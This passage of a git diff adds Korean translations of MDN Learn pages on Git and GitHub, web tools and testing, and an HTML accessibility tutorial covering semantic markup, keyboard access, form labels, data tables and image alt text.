{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}

+ +

In this module

+ + diff --git a/files/ko/learn/tools_and_testing/github/index.html b/files/ko/learn/tools_and_testing/github/index.html new file mode 100644 index 0000000000..cbae0f0cc3 --- /dev/null +++ b/files/ko/learn/tools_and_testing/github/index.html @@ -0,0 +1,82 @@ +--- +title: Git and GitHub +slug: Learn/Tools_and_testing/GitHub +tags: + - GitHub + - git + - 깃허브 +translation_of: Learn/Tools_and_testing/GitHub +--- +
{{LearnSidebar}}{{draft}}
+ +

모든 개발자는 버전 관리 시스템 (VCS)을 사용하거나 앞으로 그럴 것이다. VCS는 다른 개발자와의 협업 시 코드 중복작성으로 인한 손실을 방지해 주고, 문재가 생겼을 시 이전 버전으로의 롤백을 쉽게 해준다. 가장 유명한 VCS는 Git와 그와 관련된 소셜 코딩 사이트, GitHub이다. 이 글은 이 두가지에 대해 설명할 것이다.

+ +

개요

+ +

VCS는 소프트웨어 개발을 할 때 필수적이다.

+ + + +

VCSes provide tools to meet the above needs. Git is an example of a VCS, and GitHub is a web site + infrastructure that provides a Git server plus a number of really useful tools for working with git repositories individually or in teams, such as reporting issues with the code, reviewing tools, project management features such as assigning tasks and task statuses, and more.

+ +
+

Note: Git is actually a distributed version control system, meaning that a complete copy of the repository containing the codebase is made on your computer (and everyone else's). You make changes to your own copy, and then push those changes back up to the server, where an administrator will decide whether to merge your changes with the master copy.

+
+ +

전제 조건

+ +

Git와 GitHub를 사용하려면, 다음과 같은 사양이 요구된다:

+ + + +

이 모듈에 필요한 전제 지식과 관련해서 웹개발, Git/Github, VCS에 관한 지식은 없어도 시작할 수 있다. 그러나 어느정도의 컴퓨터 소양과 코딩 능력이 뒷바침되면 repository에 코드를 저장해 놓을 수 있으므로 코딩 지식이 있으면 좋다.

+ +

코딩 지식과 더불어 기초적인 용어에 대한 지식이 있으면 좋다. 예를 들어, 디렉토리를 이동하거나 파일생성, 그리고 시스템 PATH를 변경시키는것과 같은 기본적인 용어에 대한 지식이 있는 것이 추천된다.

+ +
+

Note: Github is not the only site/toolset you can use with Git. There are other alternatives such as GitLab that you could try, and you could also try setting your own Git server up and using it instead of GitHub. We've only stuck with GitHub in this course to provide a single way that works.

+
+ +

가이드

+ +

아래 링크들은 모두 외부 사이트로 연결된다. Mozilla는 Mozilla만의 독자적인 Git/Github 과정을 만드는 것을 목표로 하고 있으나 당장은 아래에 있는 항목들이 Github을 직접 해볼 수 있도록 도와줄 것이다.

+ +
+
Hello World (from GitHub)
+
This is a good place to start — this practical guide gets you to jump right into using GitHub, learning the basics of Git such as creating repositories and branches, making commits, and opening and merging pull requests.
+
Git Handbook (from GitHub)
+
This Git Handbook goes into a little more depth, explaining what a VCS is, what a repository is, how the basic GitHub model works, Git commands and examples, and more.
+
Forking Projects (from GitHub)
+
Forking projects is essential when you want to contribute to someone else's code. This guide explains how.
+
About Pull Requests (from GitHub)
+
A useful guide to managing pull requests, the way that your suggested code changes are delivered to people's repositories for consideration.
+
Mastering issues (from GitHub)
+
Issues are like a forum for your GitHub project, where people can ask questions and report problems, and you can manage updates (for example assigning people to fix issues, clarifying the issue, letting people know things are fixed). This articles gives you what you need to know about issues.
+
+ +
+

Note: There is a lot more that you can do with Git and GitHub, but we feel that the above represents the minimum you need to know to start using Git effectively. As you get deeper into Git, you'll start to realise that it is easy to go wrong when you start using more complicated commands. Don't worry, even professional web developers find Git confusing sometimes, and often solve problems by searching for solutions on the web, or consulting sites like Flight rules for Git and Dangit, git!

+
+ +

바깥 고리

+ + diff --git a/files/ko/learn/tools_and_testing/index.html b/files/ko/learn/tools_and_testing/index.html new file mode 100644 index 0000000000..bbb3cb90ef --- /dev/null +++ b/files/ko/learn/tools_and_testing/index.html @@ -0,0 +1,31 @@ +--- +title: Tools and testing +slug: Learn/Tools_and_testing +translation_of: Learn/Tools_and_testing +--- +
{{LearnSidebar}}
+ +

HTML, CSS, 자바스크립트와 같은 핵심 웹 기술들에 익숙해지고, 다양한 경험을 쌓고, 다양한 자원을 활용하고, 새로운 팁과 방법들을 배우면서, 여러분은 여러 종류의 도구들을 활용할 수 있게 될 겁니다. 미리 작성된 CSS 또는 자바스크립트 코드부터, 앱 테스트와 자동화 등. 여러분의 웹 프로젝트가 점점 커지고 복잡해지면 여러분은 이런 도구들과 신뢰성 있는 테스트를 필요로 할 것입니다. 이 파트에서는 이러한 도구들을 쓰거나 선택하기 위해 무엇을 알아야 하는지 알려줍니다.

+ +

웹 산업은 복잡하기에 아름답습니다. 우리가 웹 사이트를 만드는데 쓰는 핵심 기술들은 상당히 안정적이지만, 이런 기술들에 기반하여 더욱 개발을 편리하게 해 주는 새로운 기능과 도구들이 계속해서 생겨나고 있습니다. 거기다 웹 표준, 크로스 브라우저 지원, 모바일 호환 및 장애인들을 위한 접근성까지도 신경써야 합니다.

+ +

Working out what tools you should be using can be a difficult process, so we have written this set of articles to inform you of what types of tool are available, what they can do for you, and how to make use of the current industry favourites.

+ +
+

Note: Because new tools appear and old ones go out of fashion all the time, we have deliberately written this material to be as neutral as possible — we want to focus first and foremost on the general types of tasks these tools will help you accomplish, and keep prescribing specific tools to a minimum. We obviously need to show tool usage to demonstrate specific techniques, but be clear that we do not necessarily recommend these tools as the best or only way to do things — in most cases there are other ways, but we want to provide you with a clear methodology that works.

+
+ +

Learning pathway

+ +

You should really learn the basics of the core HTML, CSS, and JavaScript languages first before attempting to use the tools detailed here. For example, you'll need to know the fundamentals of these languages before you start debugging problems in complex web code, or making effective use of JavaScript libraries, or writing tests and running them against your code using test runners, etc.

+ +

You need a solid foundation first.

+ +

Modules

+ +
+
Real world web development tools (TBD)
+
In this module, we explore the different kinds of web development tools available. This includes reviewing the most common kinds of tasks you may be called on to solve, how they can fit together in a workflow, and the best tools currently avaiable for carrying out those tasks.
+
Cross browser testing
+
This module looks specifically at the area of testing web projects across different browsers. Here we look identifying your target audience (e.g. what users, browsers and devices do you most need to worry about?), how to go about doing testing, the main issues that you'll face with different types of code and how to fix/mitigate those, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing.
+
diff --git "a/files/ko/learn/web_\352\270\260\354\210\240/index.html" "b/files/ko/learn/web_\352\270\260\354\210\240/index.html" new file mode 100644 index 0000000000..7a3621b92e --- /dev/null +++ "b/files/ko/learn/web_\352\270\260\354\210\240/index.html" @@ -0,0 +1,23 @@ +--- +title: Web 기술 +slug: Learn/Web_기술 +tags: + - Beginner + - WebMechanics +translation_of: Learn/Common_questions +--- +

이것은 여러분이 웹 생태계를 이해할 수 있도록 충분히 설명해줍니다. 저희는 여러분이 필요한 정보를 작고, 세분화된 기술로 나누었습니다.

+ +

{{NoteStart}}Web 기술 은 웹 생태계의 기술적인 측명이 아니라, Infrastructure 범위의 기능에 집중합니다.{{NoteEnd}}

+ +

기본 스킬

+ +

만약 웹이 익숙하지 않다면 여기서 시작하세요. 웹 용어의 이해를 돕기 위한 우리의 glossary 에 의지하는것도 제안합니다.

+ +

중급 스킬

+ +

일단 웹이 익숙해지셨다면, 여러분이 탐구할 몇 가지 세부적인 것이 여기 있습니다:

+ +

고급 스킬

+ +

만약 웹 제작을 경험해보셨다면, 여러분은 몇 가지 특수하거나 일반적이지 않은 기술들에 흥미를 가지실 것입니다.

diff --git "a/files/ko/learn/\354\240\221\352\267\274\354\204\261/html/index.html" "b/files/ko/learn/\354\240\221\352\267\274\354\204\261/html/index.html" new file mode 100644 index 0000000000..dae842fc92 --- /dev/null +++ "b/files/ko/learn/\354\240\221\352\267\274\354\204\261/html/index.html" @@ -0,0 +1,537 @@ +--- +title: 'HTML: 접근성을 위한 기초' +slug: Learn/접근성/HTML +tags: + - HTML + - HTML 접근성 + - 스크린리더 + - 시멘틱 + - 시멘틱 웹 + - 시멘틱웹 + - 웹 접근성 + - 접근성 향상 +translation_of: Learn/Accessibility/HTML +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}
+ +

HTML 요소가 늘 올바른 목적을 가지고 쓰이는지 확인하는 것만으로도, 수많은 웹 콘텐츠는 접근성이 향상됩니다. 이 문서에는 접근성을 최대한으로 보장하기 위해 HTML을 어떻게 사용해야 하는지 자세히 설명합니다.

+ + + + + + + + + + + + +
Prerequisites:Basic computer literacy, a basic understanding of HTML (see Introduction to HTML), and understanding of what accessibility is.
Objective:To gain familiarity with what features of HTML have accessibility benefits, and how to use them appropriately in your web documents.
+ +

HTML과 접근성

+ +

 

+ +

HTML에 대해 더 많은 자료와 예제를 접하고, 더 많이 배우면 배울수록 당신은 의미론적 HTML(시멘틱 HTML, POSH 또는 Plain Old Semantic HTML라고 부르기도 합니다)을 사용하는 것이 중요하다는 공통 주제를 계속해서 접하게 될 것입니다. 이것은 가능한 올바른 목적으로 올바른 HTML 요소를 사용하는 것을 의미합니다.

+ +

당신은 아마 이것이 왜 중요한지 의문을 가질 수 있을 것입니다. 당신은 CSS와 JavaScript 조합을 사용해 원하는 방식으로 HTML 요소들을 동작시킬 수 있기 때문입니다. 예를 들어 사이트에서 동영상을 제어하기 위한 버튼을 당신은 이렇게 마크업 할 수 있습니다.

+ +
<div>Play video</div>
+ +

그러나 당신이 나중에 더 자세하게 배울수록, 작업에 올바른 HTML 요소를 사용하는 것이 많은 의미를 내포하고 있음을 깨닫게 될 것입니다.

+ +
<button>Play video</button>
+ +

Not only do HTML <button>s have some suitable styling applied by default (which you will probably want to override), they also have built-in keyboard accessibility — they can be tabbed between, and activated using Return/Enter.

+ +

Semantic HTML doesn't take longer to write than non-semantic (bad) markup if you do it consistently from the start of your project, and it also has other benefits beyond accessibility:

+ +
    +
  1. Easier to develop with — as mentioned above, you get some functionality for free, plus it is arguably easier to understand.
  2. +
  3. Better on mobile — semantic HTML is arguably lighter in file size than non-semantic spaghetti code, and easier to make responsive.
  4. +
  5. Good for SEO — search engines give more importance to keywords inside headings, links, etc., than keywords included in non-semantic <div>s, etc., so your documents will be more findable by customers.
  6. +
+ +

Let's get on and look at accessible HTML in more detail.

+ +
+

Note: It is a good idea to have a screenreader set up on your local computer, so you can do some testing of the examples shown below. See our Screenreaders guide for more details.

+
+ +

Good semantics

+ +

We've already talked about the importance of good semantics, and why we should use the right HTML element for the right job. This cannot be ignored, as it is one of the main places that accessibility is badly broken if not handled properly.

+ +

Out there on the web, the truth is that people do some very strange things with HTML markup. Some abuses of HTML are due to legacy practices that have not been completely forgotten, and some are just plain ignorance. Whatever the case, you should replace such bad code wherever you see it, whenever you can.

+ +

Sometimes you are not always in the position to get rid of bad markup — your pages might be generated by some kind of server-side framework that you don't have full control over, or you might have third party content on your page (such as ad banners) that you don't have control over.

+ +

The goal isn't "all or nothing", however — every improvement you are able to make will help the cause of accessibility.

+ +

Text content

+ +

One of the best accessibility aids a screenreader user can have is a good content structure of headings, paragraphs, lists, etc. A good semantic example might look something like the following:

+ +
<h1>My heading</h1>
+
+<p>This is the first section of my document.</p>
+
+<p>I'll add another paragraph here too.</p>
+
+<ol>
+  <li>Here is</li>
+  <li>a list for</li>
+  <li>you to read</li>
+</ol>
+
+<h2>My subheading</h2>
+
+<p>This is the first subsection of my document. I'd love people to be able to find this content!</p>
+
+<h2>My 2nd subheading</h2>
+
+<p>This is the second subsection of my content. I think is more interesting than the last one.</p>
+ +

We've prepared a version with longer text for you to try out with a screenreader (see good-semantics.html). If you try navigating through this, you'll see that this is pretty easy to navigate:

+ +
    +
  1. The screenreader reads each header out as you progress through the content, notifying you what is a heading, what is a paragraph, etc.
  2. +
  3. It stops after each element, letting you go at whatever pace is comfortable for you.
  4. +
  5. You can jump to next/previous heading in many screenreaders.
  6. +
  7. You can also bring up a list of all headings in many screenreaders, allowing you to use them like a handy table of contents to find specific content.
  8. +
+ +

People sometimes write headings, paragraphs, etc. using presentational HTML and line breaks, something like the following:

+ +
<font size="7">My heading</font>
+<br><br>
+This is the first section of my document.
+<br><br>
+I'll add another paragraph here too.
+<br><br>
+1. Here is
+<br><br>
+2. a list for
+<br><br>
+3. you to read
+<br><br>
+<font size="5">My subheading</font>
+<br><br>
+This is the first subsection of my document. I'd love people to be able to find this content!
+<br><br>
+<font size="5">My 2nd subheading</font>
+<br><br>
+This is the second subsection of my content. I think is more interesting than the last one.
+ +

If you try our longer version out with a screenreader (see bad-semantics.html), you'll not have a very good experience — the screenreader hasn't got anything to use as signposts, so you can't retrieve a useful table of contents, and the whole page is seen as a single giant block, so it is just read out in one go, all at once.

+ +

There are other issues too beyond accessibility — it is harder to style the content using CSS, or manipulate it with JavaScript for example, because there are no elements to use as selectors.

+ +

Using clear language

+ +

The language you use can also affect accessibility. In general you should use clear language that is not overly complex, and doesn't use unnecessary jargon or slang terms. This not only benefits people with cognitive or other disabilities; it benefits readers for whom the text is not written in their first language, younger people ... everyone in fact! Apart from this, you should try to avoid using language and characters that don't get read out clearly by the screenreader. For example:

+ + + +

Page layouts

+ +

In the bad old days, people used to create page layouts using HTML tables — using different table cells to contain the header, footer, side bar, main content column, etc. This is not a good idea because a screenreader will likely give out confusing readouts, especially if the layout is complex and has many nested tables.

+ +

Try our example table-layout.html example, which looks something like this:

+ +
<table width="1200">
+      <!-- main heading row -->
+      <tr id="heading">
+        <td colspan="6">
+
+          <h1 align="center">Header</h1>
+
+        </td>
+      </tr>
+      <!-- nav menu row  -->
+      <tr id="nav" bgcolor="#ffffff">
+        <td width="200">
+          <a href="#" align="center">Home</a>
+        </td>
+        <td width="200">
+          <a href="#" align="center">Our team</a>
+        </td>
+        <td width="200">
+          <a href="#" align="center">Projects</a>
+        </td>
+        <td width="200">
+          <a href="#" align="center">Contact</a>
+        </td>
+        <td width="300">
+          <form width="300">
+            <input type="search" name="q" placeholder="Search query" width="300">
+          </form>
+        </td>
+        <td width="100">
+          <button width="100">Go!</button>
+        </td>
+      </tr>
+      <!-- spacer row -->
+      <tr id="spacer" height="10">
+        <td>
+
+        </td>
+      </tr>
+      <!-- main content and aside row -->
+      <tr id="main">
+        <td id="content" colspan="4" bgcolor="#ffffff">
+
+          <!-- main content goes here -->
+        </td>
+        <td id="aside" colspan="2" bgcolor="#ff80ff" valign="top">
+          <h2>Related</h2>
+
+          <!-- aside content goes here -->
+
+        </td>
+      </tr>
+      <!-- spacer row -->
+      <tr id="spacer" height="10">
+        <td>
+
+        </td>
+      </tr>
+      <!-- footer row -->
+      <tr id="footer" bgcolor="#ffffff">
+        <td colspan="6">
+          <p>©Copyright 2050 by nobody. All rights reversed.</p>
+        </td>
+      </tr>
+    </table>
+ +

If you try to navigate this using a screenreader, it will probably tell you that there's a table to be looked at (although some screenreaders can guess the difference between table layouts and data tables). You'll then likely (depending on which screenreader you're using) have to go down into the table as an object and look at its features separately, then get out of the table again to carry on navigating the content.

+ +

Table layouts are a relic of the past — they made sense back when CSS support was not widespread in browsers, but they create confusion for screenreader users, as well as being bad for many other reasons (abuse of tables, arguably requires more markup, make designs more inflexible). Don't do it!

+ +

You can verify these claims by comparing your previous experience with a more modern website structure example, which could look something like this:

+ +
<header>
+  <h1>Header</h1>
+</header>
+
+<nav>
+  <!-- main navigation in here -->
+</nav>
+
+<!-- Here is our page's main content -->
+<main>
+
+  <!-- It contains an article -->
+  <article>
+    <h2>Article heading</h2>
+
+    <!-- article content in here -->
+  </article>
+
+  <aside>
+    <h2>Related</h2>
+
+    <!-- aside content in here -->
+  </aside>
+
+</main>
+
+<!-- And here is our main footer that is used across all the pages of our website -->
+
+<footer>
+  <!-- footer content in here -->
+</footer>
+ +

If you try our more modern structure example with a screenreader, you'll see that the layout markup no longer gets in the way and confuses the content readout. It is also much leaner and smaller in terms of code size, which means easier to maintain code, and less bandwidth for the user to download (particularly prevalent for those on slow connections).

+ +

Another consideration when creating layouts is using HTML5 semantic elements as seen in the above example (see content sectioning) — you can create a layout using only nested {{htmlelement("div")}} elements, but it is better to use appropriate sectioning elements to wrap your main navigation ({{htmlelement("nav")}}), footer ({{htmlelement("footer")}}), repeating content units ({{htmlelement("article")}}), etc. These provide extra semantics for screenreaders (and other tools) to give user extra clues about the content they are navigating (see Screen Reader Support for new HTML5 Section Elements for an idea of what screen reader support is like).

+ +
+

Note: As well as your content having good semantics and an attractive layout, it should make logical sense in its source order — you can always place it where you want using CSS later on, but you should get the source order right to start with, so what screenreader users get read out to them will make sense.

+
+ +

UI controls

+ +

By UI controls, we mean the main parts of web documents that users interact with — most commonly buttons, links, and form controls. In this section we'll look at the basic accessibility concerns to be aware of when creating such controls. Later articles on WAI-ARIA and multimedia will look at other aspects of UI accessibility.

+ +

One key aspect to the accessibility of UI controls is that by default, browsers allow them to be manipulated by the keyboard. You can try this out using our native-keyboard-accessibility.html example (see the source code) — open this in a new tab, and try pressing the tab key; after a few presses, you should see the tab focus start to move through the different focusable elements; the focused elements are given a highlighted default style in every browser (it differs slightly between different browsers) so that you can tell what element is focused.

+ +

+ +

You can then press Enter/Return to follow a focused link or press a button (we've included some JavaScript to make the buttons alert a message), or start typing to enter text in a text input (other form elements have different controls, for example the {{htmlelement("select")}} element can have its options displayed and cycled between using the up and down arrow keys).

+ +
+

Note: Different browsers may have different keyboard control options available. See Using native keyboard accessibility for more details.

+
+ +

You essentially get this behavior for free, just by using the appropriate elements, e.g.

+ +
<h1>Links</h1>
+
+<p>This is a link to <a href="https://www.mozilla.org">Mozilla</a>.</p>
+
+<p>Another link, to the <a href="https://developer.mozilla.org">Mozilla Developer Network</a>.</p>
+
+<h2>Buttons</h2>
+
+<p>
+  <button data-message="This is from the first button">Click me!</button>
+  <button data-message="This is from the second button">Click me too!</button>
+  <button data-message="This is from the third button">And me!</button>
+</p>
+
+<h2>Form</h2>
+
+<form>
+  <div>
+    <label for="name">Fill in your name:</label>
+    <input type="text" id="name" name="name">
+  </div>
+  <div>
+    <label for="age">Enter your age:</label>
+    <input type="text" id="age" name="age">
+  </div>
+  <div>
+    <label for="mood">Choose your mood:</label>
+    <select id="mood" name="mood">
+      <option>Happy</option>
+      <option>Sad</option>
+      <option>Angry</option>
+      <option>Worried</option>
+    </select>
+  </div>
+</form>
+ +

This means using links, buttons, form elements, and labels appropriately (including the {{htmlelement("label")}} element for form controls).

+ +

However, it is again the case that people sometimes do strange things with HTML. For example, you sometimes see buttons marked up using {{htmlelement("div")}}s, for example:

+ +
<div data-message="This is from the first button">Click me!</div>
+<div data-message="This is from the second button">Click me too!</div>
+<div data-message="This is from the third button">And me!</div>
+ +

But using such code is not advised — you immediately lose the native keyboard accessibility you would have had if you'd just used {{htmlelement("button")}} elements, plus you don't get any of the default CSS styling that buttons get.

+ +

Building keyboard accessibility back in

+ +

Adding such advantages back in takes a bit of work (you can an example code in our fake-div-buttons.html example — also see the source code). Here we've given our fake <div> buttons the ability to be focused (including via tab) by giving each one the attribute tabindex="0":

+ +
<div data-message="This is from the first button" tabindex="0">Click me!</div>
+<div data-message="This is from the second button" tabindex="0">Click me too!</div>
+<div data-message="This is from the third button" tabindex="0">And me!</div>
+ +

Basically, the {{htmlattrxref("tabindex")}} attribute is primarily intended to allow tabbable elements to have a custom tab order (specified in positive numerical order), instead of just being tabbed through in their default source order. This is nearly always a bad idea, as it can cause major confusion. Use it only if you really need to, for example if the layout shows things in a very different visual order to the source code, and you want to make things work more logically. There are two other options for tabindex:

+ + + +

Whilst the above addition allows us to tab to the buttons, it does not allow us to activate them via the Enter/Return key. To do that, we had to add the following bit of JavaScript trickery:

+ +
document.onkeydown = function(e) {
+  if(e.keyCode === 13) { // The Enter/Return key
+    document.activeElement.click();
+  }
+};
+ +

Here we add a listener to the document object to detect when a button has been pressed on the keyboard. We check what button was pressed via the event object's keyCode property; if it is the keycode that matches Return/Enter, we run the function stored in the button's onclick handler using document.activeElement.click(). activeElement gives us the element that is currently focused on the page.

+ +

This is a lot of extra hassle to build the functionality back in. And there's bound to be other problems with it. Better to just use the right element for the right job in the first place.

+ +

Meaningful text labels

+ +

UI control text labels are very useful to all users, but getting them right is particularly important to users with disabilities.

+ +

You should make sure that your button and link text labels are understandable and distinctive. Don't just use "Click here" for your labels, as screenreader users sometimes get up a list of buttons and form controls. The following screenshot shows our controls being listed by VoiceOver on Mac.

+ +

+ +

Make sure your labels make sense out of context, read on their own, as well as in the context of the paragraph they are in. For example, the following shows an example of good link text:

+ +
<p>Whales are really awesome creatures. <a href="whales.html">Find out more about whales</a>.</p>
+ +

but this is bad link text:

+ +
<p>Whales are really awesome creatures. To find more out about whales, <a href="whales.html">click here</a>.</p>
+ +
+

Note: You can find a lot more about link implementation and best practices in our Creating hyperlinks article. You can also see some good and bad examples at good-links.html and bad-links.html.

+
+ +

Form labels are also important, for giving you a clue what you need to enter into each form input. The following seems like a reasonable enough example:

+ +
Fill in your name: <input type="text" id="name" name="name">
+ +

However, this is not so useful for disabled users. There is nothing in the above example to associate the label unambiguously with the form input, and make it clear how to fill it in if you cannot see it. If you access this with some screenreaders, you may only be given a description along the lines of "edit text".

+ +

The following is a much better example:

+ +
<div>
+  <label for="name">Fill in your name:</label>
+  <input type="text" id="name" name="name">
+</div>
+ +

With the code like this, the label will be clearly associated with the input; the description will be more like "Fill in your name: edit text".

+ +

+ +

As an added bonus, in most browsers associating a label with a form input means that you can click the label to select/activate the form element. This gives the input a bigger hit area, making it easier to select.

+ +
+

Note: you can see some good and bad form examples in good-form.html and bad-form.html.

+
+ +

Accessible data tables

+ +

A basic data table can be written with very simple markup, for example:

+ +
<table>
+  <tr>
+    <td>Name</td>
+    <td>Age</td>
+    <td>Gender</td>
+  </tr>
+  <tr>
+    <td>Gabriel</td>
+    <td>13</td>
+    <td>Male</td>
+  </tr>
+  <tr>
+    <td>Elva</td>
+    <td>8</td>
+    <td>Female</td>
+  </tr>
+  <tr>
+    <td>Freida</td>
+    <td>5</td>
+    <td>Female</td>
+  </tr>
+</table>
+ +

But this has problems — there is no way for a screenreader user to associate rows or columns together as groupings of data. To do this you need to know what the header rows are, and if they are heading up rows, columns, etc. This can only be done visually for the above table (see bad-table.html and try the example out yourself).

+ +

Now have a look at our punk bands table example — you can see a few accessibility aids at work here:

+ + + +
+

Note: See our HTML table advanced features and accessibility article for some more details around accessible data tables.

+
+ +

Text alternatives

+ +

Whereas textual content is inherently accessible, the same cannot necessarily be said for multimedia content — image/video content cannot be seen by visually-impaired people, and audio content cannot be heard by hearing-impaired people. We'll cover video and audio content in detail in the Accessible multimedia article later on, but for this article we'll look accessibility for the humble {{htmlelement("img")}} element.

+ +

We have a simple example written up, accessible-image.html, which features four copies of the same image:

+ +
<img src="dinosaur.png">
+
+<img src="dinosaur.png"
+     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.">
+
+<img src="dinosaur.png"
+     alt="A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth."
+     title="The Mozilla red dinosaur">
+
+
+<img src="dinosaur.png" aria-labelledby="dino-label">
+
+<p id="dino-label">The Mozilla red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</p>
+
+ +

The first image, when viewed by a screen reader, doesn't really offer the user much help — VoiceOver for example reads out "/dinosaur.png, image". It reads out the filename to try to provide some help. In this example the user will at least know it is a dinosaur of some kind, but often files may be uploaded with machine generated file names (e.g. from a digital camera) and these file names would likely provide no context to the image's content.

+ +
+

Note: This is why you should never include text content inside an image — screen readers simply can't access it. There are other disadvantages too — you can't select it and copy/paste it. Just don't do it!

+
+ +

When a screen reader encounters the second image, it reads out the full alt attribute — "A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.".

+ +

This highlights the importance of not only using meaningful file names in case so-called alt text is not available, but also making sure that alt text is provided in alt attributes wherever possible. Note that the contents of the alt attribute should always provide a direct representation of the image and what it conveys visually. Any personal knowledge or extra description shouldn't be included here, as it is not useful for people who have not come across the image before.

+ +

One thing to consider is whether your images have meaning inside your content, or whether they are purely for visual decoration, so have no meaning. If they are decorational, it is better to just include them in the page as CSS background images.

+ +
+

Note: Read Images in HTML and Responsive images for a lot more information about image implementation and best practices.

+
+ +

If you do want to provide extra contextual information, you should put it in the text surrounding the image, or inside a title attribute, as shown above. In this case, most screenreaders will read out the alt text, the title attribute, and the filename. In addition, browsers display title text as tooltips when moused over.

+ +

+ +

Let's have another quick look at the fourth method:

+ +
<img src="dinosaur.png" aria-labelledby="dino-label">
+
+<p id="dino-label">The Mozilla red Tyrannosaurus ... </p>
+ +

In this case, we are not using the alt attribute at all — instead, we have presented our description of the image as a regular text paragraph, given it an id, and then used the aria-labelledby attribute to refer to that id, which causes screenreaders to use that paragraph as the alt text/label for that image. This is especially useful if you want to use the same text as a label for multiple images — something that isn't possible with alt.

+ +
+

Note: aria-labelledby is part of the WAI-ARIA spec, which allows developers to add in extra semantics to their markup to improve screenreader accessibility where needed. To find out more about how it works, read our WAI-ARIA Basics article.

+
+ +

Other text alternative mechanisms

+ +

Images also have another mechanisms available for providing descriptive text. For example, there is a longdesc attribute that is meant to point to a separate web document containing an extended description of the image, for example:

+ +
<img src="dinosaur.png" longdesc="dino-info.html">
+ +

This sounds like a good idea, especially for infographics like big charts with lots of information on that could perhaps be represented as an accessible data table instead (see previous section). However, longdesc is not supported consistently by screenreaders, and the content is completely inaccessible to non-screenreader users. It is arguably much better to include the long description on the same page as the image, or link to it with a regular link.

+ +

HTML5 includes two new elements — {{htmlelement("figure")}} and {{htmlelement("figcaption")}} — which are supposed to associate a figure of some kind (it could be anything, not necessarily an image) with a figure caption:

+ +
<figure>
+  <img src="dinosaur.png" alt="The Mozilla Tyrannosaurus">
+  <figcaption>A red Tyrannosaurus Rex: A two legged dinosaur standing upright like a human, with small arms, and a large head with lots of sharp teeth.</figcaption>
+</figure>
+ +

Unfortunately, most screenreaders don't seem to associate figure captions with their figures yet, but the element structure is useful for CSS styling, plus it provides a way to place a description of the image next to it in the source.

+ +

Empty alt attributes

+ +
<h3>
+  <img src="article-icon.png" alt="">
+  Tyrannosaurus Rex: the king of the dinosaurs
+</h3>
+ +

There may be times where an image is included in a page's design, but its primary purpose is for visual decoration. You'll notice in the code example above that the image's alt attribute is empty — this is to make screen readers recognize the image, but not attempt to describe the image (instead they'd just say "image", or similar).

+ +

The reason to use an empty alt instead of not including it is because many screen readers announce the whole image URL if no alt is provided.  In the above example, the image is acting as a visual decoration to the heading its associated with. In cases like this, and in cases where an image is only decoration and has no content value, you should put an empty alt on your images. Another alternative is to use the aria role attribute role="presentation" — this also stops screens readers from reading out alternative text.

+ +
+

Note: if possible you should use CSS to display images that are only decoration.

+
+ +

Summary

+ +

You should now be well-versed in writing accessible HTML for most occasions. Our WAI-ARIA basics article will also fill in some gaps in this knowledge, but this article has taken care of the basics. Next up we'll explore CSS and JavaScript, and how accessibility is affected by their good or bad use.

+ +

{{PreviousMenuNext("Learn/Accessibility/What_is_Accessibility","Learn/Accessibility/CSS_and_JavaScript", "Learn/Accessibility")}}

+ +

 

+ +

In this module

+ + + +

 

diff --git "a/files/ko/learn/\354\240\221\352\267\274\354\204\261/index.html" "b/files/ko/learn/\354\240\221\352\267\274\354\204\261/index.html" new file mode 100644 index 0000000000..01c9c2e2bb --- /dev/null +++ "b/files/ko/learn/\354\240\221\352\267\274\354\204\261/index.html" @@ -0,0 +1,59 @@ +--- +title: 접근성 +slug: Learn/접근성 +tags: + - ARIA + - CSS + - HTML + - JavaScript + - 랜딩 + - 모듈 + - 문서 + - 배우기 + - 비기너 + - 접근성 +translation_of: Learn/Accessibility +--- +
{{LearnSidebar}}
+ +

웹 개발자가 되기위해서 HTML, CSS 및 JavaScript를 배우는 것이 필요하지만 배운 지식을 효과적으로 사용하기위해서는 지식이상의 기술이 필요로 합니다. 이 기술을 사용해서 웹사이트에 접근하려는 모든 사용자를 차별없이 접근할수 있도록 해야합니다.  이를 위하여 모범 사례(HTMLCSS 및 JavaScript 항목에서 설명) 를 준수하고 브라우저 호환성 테스트를 거치며 처음부터 접근성을 고려해야합니다. 이 문서에서는 후자에 대해 자세히 다룰 것입니다.

+ +

선결조건

+ +

이 문서를 최대한 활용하려면 최소한 HTMLCSS 및 JavaScript 항목 중 처음 두 문서를 통해 작업하거나 또는 접근성 문서와 관련된 기술을 통해 개선해 나가는것이 좋습니다. 

+ +
+

Note: 참고 : 당신은 당신이 당신의 자신의 파일을 생성 할 수있는 기능이없는 컴퓨터 / 태블릿 / 다른 장치에서 작업하는 경우, 당신은  JSBin 또는 Thimble 같은 온라인 코딩 프로그램에서 코드 예제의 대부분을 테스트 할수 있습니다.

+
+ +

가이드

+ +
+
접근성이란?
+
이 문서에서는 접근성이 실제로 무엇인지 자세히 살펴보는 것으로 모듈을 시작합니다. 여기에는 고려해야 할 사람의 그룹, 웹과 상호 작용하는 데 사용하는 서로 다른 도구 및 접근성 워크 플로우를 개발하는 방법이 포함됩니다.
+
HTML: 접근성을 위한 좋은기초
+
항상 올바른 HTML요소를 올바른 용도로 사용하는 것만으로 수많은 웹 콘텐츠에 접근 할 수 있습니다. 이 문서는 접근성을 극대화하기 위해 HTML을 사용하는 방법을 자세히 살펴봅니다.
+
CSS 와 JavaScript의 접근성 모범 사례
+
또한, CSS 와 JavaScript를 적절히 사용하면 접근성 높은 웹 경험을 줄수도 있지만 , 만약 잘못 사용될 경우 접근성을 크게 해칠 수 있다. 이 문서에서는 복잡한 컨텐츠도 가능한 액세스 할 수 있도록 하기 위해 고려해야 할 몇가지 CSS 및 JavaScript모범 사례를 간략히 설명합니다.
+
